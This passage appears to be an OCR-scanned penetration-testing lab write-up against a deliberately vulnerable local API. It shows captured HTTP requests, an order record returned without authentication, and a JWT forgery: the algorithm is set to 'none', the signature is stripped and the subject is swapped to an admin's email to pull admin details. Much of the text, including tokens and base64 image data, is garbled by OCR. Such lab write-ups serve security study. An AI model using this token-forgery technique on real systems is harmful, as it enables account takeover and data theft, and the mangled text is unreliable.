Cookie: chat_sessionid=76170b36- 68eb-4720-8d26- 438ac09a6bo8 Cross-Origin-Opener-Policy: same-origin
> Sec-Fetch-Dest: empty > Content-Length: 547
= Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin {
5 Priority: u=a "urde:;;f.ae still seeing
rusert:{ data even
vemail :*ededddd. von', '
though I'm
’ not authenticated
"product”:
"id
Seat",
"10.00",
"1mage_url":"1images/seat.svg"
t,
“uanti tyr i1,
"status"
"transaction_id" ;" 8ac0d770- 20a7- 4cf 8- a220- 4cb97a8f 1646"
“"created_on":"2025- 10- 20T08: 16: 49, 269961
"payment” :{
"transaction_id" ;" 8ac0d770- 20a7- 4cf 8- a220- 4cb97a8f 1646"
vorder_id":38,
"amount":10,
"paid_on":"2025-10- 20T08:16: 49.269961" ,
ncard_number : ' XX0O00OXXXEA20"
"card_owner_name": " jux"
"card_type":"American Express',
"card_expiry":"07/2027",
"eur rency” 1 Uso"
T
i

We are still able to see data without the token.

10. Unsafe Consumption of APIs

JWT Token

A JWT (JSON Web Token) is a compact, URL-safe means of representing claims to be
transferred between two parties. It is commonly used for authentication and authorization
purposes in web applications. JWTs consist of three parts: the header, the payload, and the
signature. The header and payload are Base64Url encoded JSON objects, and the signature

is used to verify the integrity of the token.

Went to the dashboard page to get requests.

14 httpi127.0018888 GET 5241557 _ISON

130119 20 Oc... 1JWTs, 0 JWES. 8080 127001 127
15 http/N27.0018888 GET fidentity/apilv2/vehicle/vehicles 200 851 1SON 13:0120200... 1JWTs, 0 JWES 8080 127001 8
Request Response

Pretty  Raw  Hex  Hackvertor  JSONWebToken N = | pretty  Raw  Hex Hackvertor
o[ GET_/identity/api/v2/user/dashboard HTTP/1.1 1 HTTP/1.1 200

HOStT127.0.0. 178888

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US, en;q=0.5

Accept-Encoding: gzip, deflate, br

7 Referer: http://127.0.0.1:8888/

& Content-Type: application/json

o Authorization: Bearer

eyJhbGei 03 JSUZE INi J9. ey Jzdwl i 03 11268k ZGRkLnZvbST sTml hdCT 6T €2MDgx M} MLOCwL ZXhw j oxNzY XNDESMTUALCIyb2x LT joi diiNlei
19.dbOj yr 1 pNXT JEQAOTWOBR ] 1 By 7X4gqi K121 221 ZT 2cQupAOSNLqxyHnip)_FUGT] kEAVVOVyEcw] dmgi 9GECUa] _HnehaN; FP- CdScd4sd
nVUZWXF) 20MzPHYBXGE NJ0aNST qwRUXbKAMNN - Lmy_waHLHMi LSUZIDr i OAxkNY 31 7NMANTWOf EEVEMNK  pJpMFdFQP2AT hds GHSVZdz_eTWSv
FHirycUOre0bNLWXDCi tTdgEFHABDE7CKEY Y81 5a75q] nAf eHZ43Y 2DyKRneKA431 i qZ- 401 AZ8rncG7xY 621 vCe2PeOPdGTpMgByxa0Umj u7
tuskqldoFagw

Connection: keep-alive

Cookie: chat_session_id=76170b36- 68eb- 4720- 8d26- 438ac09a6bo8

oUWy

10
11

b

We forwarded it to the repeater where we used the JSON web token. We changed the

Server: openresty/1.27.1.2
Date: Mon, 20 Oct 2025 10:01:20 GMT
Content-Type: application/json
Connection: keep-alive
origin

Access- Control-Request-Method
Access-Control - Request- Headers
X-Content-Type-Options: nosniff
) X-XSS-Protection: 0

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
> Pragma: no-cache
3 Expires:
4 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
5 X-Frame-Options: DENY
15 Content-Length: 5241070

auswn
=

vidi:s,

“name” " jux

vemail": "edadddd. vom"
“number? : +25471234567"
"picture_url':
"data:image/jpeg;base64, /9] /4AAQSkZIRgABAQAAAQABAAD/ 2wCEAALIGBgS I CwsL CwsNCwsLDQA0DQO0DGENDg 40DQBQEBARERAQEBAPEX
TDXAREXQUEXETFRYWEXY VFRY ZFhkWFhI BBQUFCgekCak JCAST Cagl Cgo ) CQoKDAKKCQo JDAOL CgsL CgsNDASLCASL DAWMDQOMDAOK OwoNDAONDE
MUEXMT NP,/ CABET B38E0AMBT g ACEQEDEQH, X ADn AAABBQEBAQEAAAAAAAAAAAACAAEDBAUGBWG AQADAQEBAQAAAAAAAAAAAAAAAQT DEAUGEAACA
IEBAEEAVEAAQUBAAAAAQLRAXASBEMLTEUMEFRI | JhQFAZQL)XGWI RAAL CAGL CAGT CAGMAAAAAAAABAhEQEGMIEY EMQRAQUEY YRQL UBT AAGEC

header alg: RS256 to none as well as removed the signature to empty.


https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/

Request Response
Pretty  Raw  Hex  Hackertor _JSON WebToken

S W= | ey Raw M R Hackvertor

w1 J211NiJS ey zdWIOUIZEBKZGRKL 16MTC2MD: | 11= Expires:
14 Striet. Transport. Security: max-age-21526000 ; includesbbonsing
Serialized JWT 15 X-Frame-Options: DENY

[eyIhbGe1015ub251Tn0. o5 7 c z 15 Content-Length: 5241070

1L0CwIZXh

mUhdCIGMTC2MDgxi

»valid data

“number® : 1+25471234567",
"picture_url
Verify "data:image/jpeq;base64, /9] /4AAQSk ZIRgABH D/ 2CEAALIGBgST CwsL wsNCwSLDQA0DQOODENDg A0DGBQEBARERAGEA
PExITDxAREXQuExHFhYWExYVFRYZFthFhIEEQuFCchCAkJCASIngLCguJCQuKDAkKCQuJDAOLCgschsNDAsLCAsLDAwMDQOMDAOKO;/
ws E uNDAONDEMuExMrnP/CAEEIESEEOAMEIgACEQEDEQH/ Dr EDBAUGE
QIDBAUGE B TEUMEFRT ]JhQFAZQUxgwlRAAICAgICAgICAgMAAAAAAAAEAhEQEgMgEyEwMQRA
QVEyVRQ)uEIAAgECAwuHAwIGAgECEgMAAAECAXEQEhMEICEwMQUyQEFRYXEuIuFCuCMzumE)kancsHRFuNJ €ICCATDXEWADAAT CAVEBAQE
I BAQEAAAAAAREQT SAXMEFRY XFAQVCRY P/ aAAWDAQACEQMSARAASI THESCTOCL LN JuTRoUBSL
none changed to none 1 Compact JSON 20F JMST AZS'STUXEG7OAWTWDA ySXNUOG O 5841 g TKRCGZNCp 21 ZkHESY AKDEKGSNEFGuiz Cak AWHLUL 25V T rpOWCei GRUYG8SbSS
I L 9 BITE7ICFmMnAwaNwkk ZCTL SSAURGZ Gz  KSOSHZMGF HitwQy S X7 57277 20LPPOMb ) az LHILY h CSQOX SSSFIWDHLEOZO1WSY T QuGMFFIE
kvDPbYEWy aXErTUCAST SOWETBY eBOKFF INn JEAMNAXE] wmE ] g LcpRFIThcoloJwdLp66kQpnIuIMTuMtyEkk Lui Lc:
4671xe tpnMIPrKEEBOYpYptICG2NFY § j BnSsMaj CZRPLCEZHOMW] jRGCITRpCgMoHZWTEL aSQ) JALEAGK } AT tpJi SSQukkCakBOYNSdnke
XEGEL OB PV OATNSRSZ3K Iy L oL SZA0STIDNTXCAOToGTNCC 2T 7MebSEazL Lok GSIRCaU g
Qei jkbRg4STHRKECUdoNF Oohy tRISLTQTMki Qpk S1ypyqImSxsyhMI 11 imgojoXaf RHT kBs7HSVQQWIBRkxNIO
Payload e SQszwaQqEAuSEszVnVCJ)DJKEJIEngOgTEkaJkSNMEGgEGhRuaELkSQuGrazEPDntOwattAHx]vXcWhvfkrv j ra0AOST 0dJST
i Format JSON 1Z00KA3B1Uvi ASYHZDE ALOCh LN gt i X 3] Ln2F 43u) HBOzNmzk hdEqi 1)1 1 TDMCBYERzPFLL RIMAZ+ a0PnrLT 1L 074k+ 2qz6POF
"ededddd. vom, Harvuj+L fxemi yOzkeNNzKFwnUL3Egi 7RIRB3BwVchoj gsBr | SgsONMK1 Sat28r syvNOK adM] zeE20D0Bdoh JKxAY CZMLmkkSydgi RAUSZ
170812558, Compact JSON 1 AnAHIUJJ Akk CScEi RQqQwgawCI xmEL i SqUk 4M70mknGxsomSaF8rulVKdLej Nmz323rHhve LqwMd Mk EUVmQI VL XI Uy ] QSgwMI RhomGE
g RSQsFwS] ZkggLagdodsi cevILHV3AqakntMNTTEZi NITRMDWSGRALL ABZFECSH+VOF sSbBLSL2mIBK+nv L /rGyv SY+qfom/m/vi 11 /o8s
1761417158, £V6MBQroDdnBI 1o} i TkhSmmE4RRHEV 0 ApaSNLNVE0AWZ+v Ik 6YySITOmA0cdUSSBIKB 11 EKEbSCSKd 2T OmmhnEBMGI Xt TEQCRI j cx ABT
' JZkBOGRFKbI 2861 ] sxhCHAMI Cebi FSqeAGLY gMzVixkaGLodY TqdS2K1] Ot0epew7I 7N n3sTVZst3jNO7Ekkk gdmi CSuUMhgBVogaPs
¥ TalDOLYME/ ) /VPKEXrySy6GMDUSST LI TE705NnaGZh) LaMStHUNT g tHAL+7f LDn6vHT qPShoyWinhof e+ PP7JGEHN/ t5HS00+ 249V8b+1/G
/wBm72hw3Lpxk eN2G406IMAI 2BMFXEL Ky FmVNV tuaniisQdPHzpaSk yEkk 111 GEO2K I ADGET p1 GZh CRXLBAwOy SScO40Y ESBIT SSQKORIXtK
2O XOZY LT 20D R2ARQE2N 74 Jp G0N RO SHEY TSNS 70p SdS2y Ok e v By conr EGHELEY
kaj0SjaMyIY2c15neN: 5SSSTS6ID! rnPGPefi ]l /
MaquszvsAtzpa/zuEsrxswmfkprmcqez)emmewcupnpbwmtuzaauawkmJ1Ekgssommedgnwmqsnsowa]dzgo
Signature Information SSTPILITENQMNIMHNTq8gFFFIE+bs i LkqSi dRhnj KgeUHABNHp LERFp2Z1 dPInEVh:
KO 3USTRN2T683nY] ]wmckaDQEEFSszCQXnSechPrhMSnemaRaJ)ZGEkSQyEJLkWkaEkaZ)ML/SQwHDXSk+stnthP] vqfSokudHy
+ Expiration Time - Sat Oct 25 2025 21:3238 GMT+3 FydKsSofWhiz ] 7vE8Rb/SXy/ 7n04F UxKv LxyvninG+VEGne /X/ Lup /bzEY t0AT XiukhCrri qegbdwwzQadsrink 1) Akk CdnGndgssekk CdnGy
- Issued At - Sat Oct 18 2025 21:3238 GMT+3 VS BEE HZ i En LK 1A By Lt Lo 2D CELRRERYL G 03 22 QG021 0509:2Sc0l L.
xqTHnIDK J1gnTov N y7fQfgkXs
. Goahcrem5u1><7fmuv3KL)an15LmeerD75405x05+M+ce]efoaZusw;:eamDHmlszchEQdHPGQHozwtKchSpJoanQMeQJnkagS
>keep it empty SEJIEkgSSEkkkkkNJIEER]SchEth)GEkercpTEAs]JKkbgH/Srwvalc 606UXHGY LNOWWSKEW) 25p 1 XGEBE0S1 1 UUQSSRAtACHKdYS6
GLECQRXnMMMaC Y Agak FCAZNGUaEHS 00Qy. YESSUN7L JW/ K SBn2GY 3A)GANES 0 Z0BMSUGTUGNZEHTS/KvbOGPT j Geahges MO9S

Header
{ Format JSON
“alg

We wondered if it's possible to view other users' data so we changed the sub field to other
users' email obtained from community and previous tasks above.

Request Response

pretty  Raw  Hex  Hadwertor JSONWebToken WE W = | ey Raw  Hex R Hackvertor

wr [1- 16 ... ~

Serialized JWT
ethbGuUlJubzslInU application/json
Connection: keep alive
& Vary: ori
© Vary: Acoses-Control.Request-Hethod
§ Vary: Access-Control-Request-Headers
 X-Content-Type-Options: nosniff
10 X-XS5-Protection: 0
11 Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Copy Decrypt Verify | 12 Pragma: no-cache
15 Expires: 0
ws € 14 Strict-Transport-Security: max-age=31535000 ; includesubDomains

15 X-Frame-Options: DENY

Header 16 Content-Length: 185
T Fomatuson || |12
, talg": "none’ @ compactison | |18 €
"admin®,
1+ :"admin@example.com’,
"number" :"9010203040" , ini i
Pfeiprvn —————»Admin information
Payload "video_url®:null,
"video_name":null,
Format SN -
in' H "available_credit":100.0,
*admingexanple. con' , » changed to admin's email 1 CompactsON “video 3dv7o,
1760812358, "role":"ROLE_ADMIN'
1761417158, i
¥
Signature Information

« Expiration Time - Sat Oct 252025 21:32:38 GMT+3
+Issued At - Sat Oct 18 2025 21:32:38 GMT+3

We were able to get admin information.
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